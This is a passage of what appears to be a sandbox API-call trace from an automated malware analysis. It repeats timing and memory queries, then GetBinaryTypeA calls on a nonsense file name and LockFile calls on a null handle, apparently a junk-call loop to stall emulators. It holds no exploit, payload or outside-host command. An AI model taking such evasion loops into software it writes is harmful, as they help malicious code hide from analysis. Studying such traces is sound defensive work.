lpBuffer=0x18de88) [0097.697] GetTickCount () returned 0x5a4f [0097.698] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.698] GetTickCount () returned 0x5a4f [0097.698] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.698] GetTickCount () returned 0x5a4f [0097.698] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.698] GetTickCount () returned 0x5a4f [0097.698] GlobalMemoryStatus (in: lpBuffer=0x18de88 | out: lpBuffer=0x18de88) [0097.698] GetTickCount () returned 0x5a4f [0098.544] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.545] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.546] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.546] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.546] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.546] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.546] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.546] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.546] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.546] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.546] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.546] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.546] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.546] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.546] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.546] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.546] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.546] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.547] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.547] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.547] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.547] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.547] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.547] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.547] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.547] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.547] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.547] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.547] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.547] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.547] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.548] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.548] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.548] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.548] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.548] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.548] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.548] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.548] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.548] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.548] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.548] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.548] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.548] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.548] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.548] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.548] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.548] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.548] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.549] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.549] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.549] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.549] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.549] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.549] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.549] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.549] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.549] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.549] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.549] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.549] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.549] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.549] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.549] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.549] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.549] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.549] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.549] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.549] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.550] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.550] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.550] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.550] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.550] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.550] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.550] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.550] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.550] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.550] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.550] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.550] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.550] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.550] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.550] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.550] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.550] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.550] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.551] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.551] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.551] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.551] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.551] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.551] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.551] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.551] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.551] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.551] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.551] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.551] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.551] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.551] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.551] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.551] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.551] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.551] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.551] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.552] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.552] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.552] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.552] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.552] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.552] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.552] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.552] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.552] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.552] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.552] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.552] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.552] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.552] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.552] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.552] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.552] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.552] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.552] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.553] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.553] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.553] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.553] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.553] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.553] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.553] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.553] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.553] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.553] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.553] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.553] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.553] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.553] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.553] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.553] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.553] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.553] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.553] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.554] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.554] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.554] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.554] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.554] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.554] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.554] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.554] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.554] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.554] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.554] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.554] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.554] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.554] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.554] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.554] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.554] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.554] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.554] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.555] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.555] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.555] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.555] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.555] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.555] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.555] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.555] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.555] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.555] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: 